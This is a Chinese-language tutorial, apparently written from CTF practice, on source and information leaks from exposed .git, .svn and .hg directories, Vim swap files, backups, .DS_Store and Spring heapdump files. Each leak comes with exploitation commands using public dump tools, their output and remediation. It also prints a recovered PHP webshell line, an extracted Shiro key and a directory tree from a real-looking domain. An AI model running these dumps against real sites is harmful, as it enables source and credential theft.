Git文件泄露

简介

Git泄露是指在使用Git版本控制系统时,由于配置不当或者操作失误,导致敏感信息(如密码、密钥、源代码等)被意外地上传到公开的代码仓库或者其他公开可访问的地方,从而被未授权的人获取到。

Git泄露危害

正如简介所说,在配置不当的情况下,可能会将“.git”文件直接部署到线上环境,这就造成了git泄露问题。
攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会!

利用

工具下载连接:
https://github.com/internetwache/GitTools

目录扫描判断是否有.git文件泄露

dirsearch -u http://node4.anna.nssctf.cn:28221/ -i 200

[01:59:30] 200 -    5B  - /.git/COMMIT_EDITMSG                              
[01:59:30] 200 -  137B  - /.git/config                                      
[01:59:30] 200 -   73B  - /.git/description                                 
[01:59:30] 200 -   23B  - /.git/HEAD
[01:59:30] 200 -  209B  - /.git/index                                       
[01:59:30] 200 -  240B  - /.git/info/exclude
[01:59:30] 200 -  147B  - /.git/logs/HEAD                                   
[01:59:30] 200 -  147B  - /.git/logs/refs/heads/master                      
[01:59:30] 200 -   41B  - /.git/refs/heads/master                           
[01:59:41] 200 -    0B  - /flag.php              

爬取仓库的git文件

./gitdumper.sh http://node4.anna.nssctf.cn:28221/.git/ githack

[*] Destination folder does not exist
[+] Creating githack/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index

还原整个代码仓库和查看历史

git checkout .

git log

git show 
```
ls
flag.php  index.php  reports

修复

不要把.git文件暴露在网站根目录下
阻止访问 .git 目录

svn泄露

简介

[!NOTE] SVN是什么
SVN(Subversion) 是一种版本控制工具,类似于 Git,用于跟踪源代码的更改。
SVN 会在每个版本库目录中生成 .svn/ 隐藏目录,里面包含了该目录下所有文件的版本信息。

SVN 泄露通常指的是 Web 服务器部署时 错误上传了 Subversion 版本控制系统(SVN)的元数据目录 .svn/,导致攻击者可以还原网站源码,获取敏感信息,甚至构造进一步攻击。

SVN 泄露危害

攻击者可以通过 .svn/ 目录中保存的元数据,还原出源码文件,从而:

  • 获取配置文件(如 config.php.env

  • 查看源码逻辑,发现漏洞(如 RCE、SQL 注入)

  • 获取敏感路径、后台入口、账号密码等

利用

工具:
https://github.com/admintony/svnExploit

扫描到.svn直接用工具去下载源码

 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+--------------------+----------+------------------------------------------------+
|       文件名       | 文件类型 |                    CheckSum                    |
+--------------------+----------+------------------------------------------------+
|     index.html     |   file   | $sha1$bf45c36a4dfb73378247a6311eac4f80f48fcb92 |
| flag_510328456.txt |   file   |                      None                      |
+--------------------+----------+------------------------------------------------+
[+] 已经Dump完成!

修复

| 操作 | 方法 |
| —————- | ————————————- |
| 禁止访问 .svn/ 目录 | nginx/apache 拦截 .svn |
| 清理 .svn/ 元数据目录 | 部署时使用 rsync --exclude='.svn/'、CI/CD |

Hg泄露

简介

[!NOTE] Mercurial是什么
Mercurial 是一个分布式版本控制系统,命令行为 hg,与 Git 类似。项目的所有提交记录、文件历史、分支信息等都存储在 .hg/ 目录中。Hg 和 Git 一样,如果 .hg/ 目录暴露在 Web 服务器上,就可能泄露整个项目源代码

Hg 泄露 是指 Web 服务器将包含敏感数据的 .hg/ 目录暴露给了公网用户,攻击者可以通过访问或下载该目录来恢复整个源代码仓库,从而分析业务逻辑、找出漏洞点甚至获取密码等敏感信息。

Hg泄露的危害

攻击者绕过任何认证机制,直接拿到开发者内部视角,分析业务逻辑、发现安全漏洞、横向扩展攻击。

利用

利用.hg泄露可以用到一个工具dvcs-ripper

下载地址:https://github.com/kost/dvcs-rippe

#漏洞利用的代码
perl rip-hg.pl -v -u http://www.test.com/.hg/

修复

移除 .hg 目录的 Web 访问权限

Vim文件泄露

简介

Vim 文件泄露指的是 Vim 编辑器在保存、编辑文件时生成的一些临时文件或备份文件被意外暴露,攻击者可利用这些文件获取源代码、配置、密码等敏感信息,常见于 Web 目录下误上传的情况。
常见文件后缀名:

|文件名类型|说明|泄露风险|
|—|—|—|
|.filename.swp|Vim 的交换文件(swap)|包含编辑中的内容,可能包含源码、口令等|
|.filename.swo|辅助交换文件|与 .swp 类似|
|.filename.swn|多个 Vim 实例时的交换文件|同样可能包含敏感信息|
|filename~|备份文件(backup)|完整的旧版本文件内容|
|.filename.un~|Undo 备份|用于撤销操作的历史信息|
|.filename.swp.swp.swpx|较新版本 Vim 格式|一样可能被利用|

危害

  1. 源码泄露
  2. 敏感信息泄露
  3. 数据库账户和密码泄露

利用

进行vim -r或者strings进行文件恢复

strings .index.php.swp 
b0VIM 9.0
kali
s1rius
/d/CTF/LitCTF/vim/index.php
utf-8
U3210
#"! 
</body>
    </main>
        </div>
            ?>
            }
                eval(system($_POST['cmd']));
                echo "<p>Oh You got my password!</p>";
            if ($_POST['password'] === base64_encode($password)) {
            echo "<p>can can need Vim </p>";
            $password = "Give_Me_Your_Flag";
            error_reporting(0);

修复

  • 检测目录,并把这些交换文件进行删除
  • 禁用 Vim 自动生成临时文件

网站备份文件

简介

在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。

常见泄露后缀:

.rar
.zip
.7z
.tar.gz
.bak
.txt
.html

危害

该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。

利用

下载压缩包文件,对解压出的源码,进行代码审计

修复

删除存在的压缩包文件

.DS_Store文件泄漏

简介

它本是 macOS 系统自动生成的文件,但一旦出现在 Web 根目录并被访问,攻击者可能借此列目录、发现隐藏文件、下载敏感内容,甚至进一步入侵服务器。

危害

  1. 🧭 目录结构泄露
  2. 🔍 发现敏感文件

利用

工具下载:https://github.com/lijiejie/ds_store_exp

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member

修复

删除.DS_Store文件

heapdump

简介

heapdump 泄露是 Java 应用(如 Spring Boot)中一个严重的敏感信息泄露问题,一旦被攻击者下载 .hprof(Java 堆内存转储文件)

危害

用工具进行分析heapdump文件,可能会暴露Shiro框架的用户名和密码或者key,key的话可以进行测试shiro反序列化漏洞,常暴露 /heapdump.hprof/actuator/heapdump 接口

利用

工具分析出的ShiroKey

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = fBLM7VmgDVr7Rs6FMEIa4g==, algName = **AES**

后面可以用工具进行测试
image.png

修复

禁用或加固 Heap Dump 入口

# application.yml 配置示例
management:
  endpoints:
    web:
      exposure:
        exclude: heapdump  # ✅ 禁用 heapdump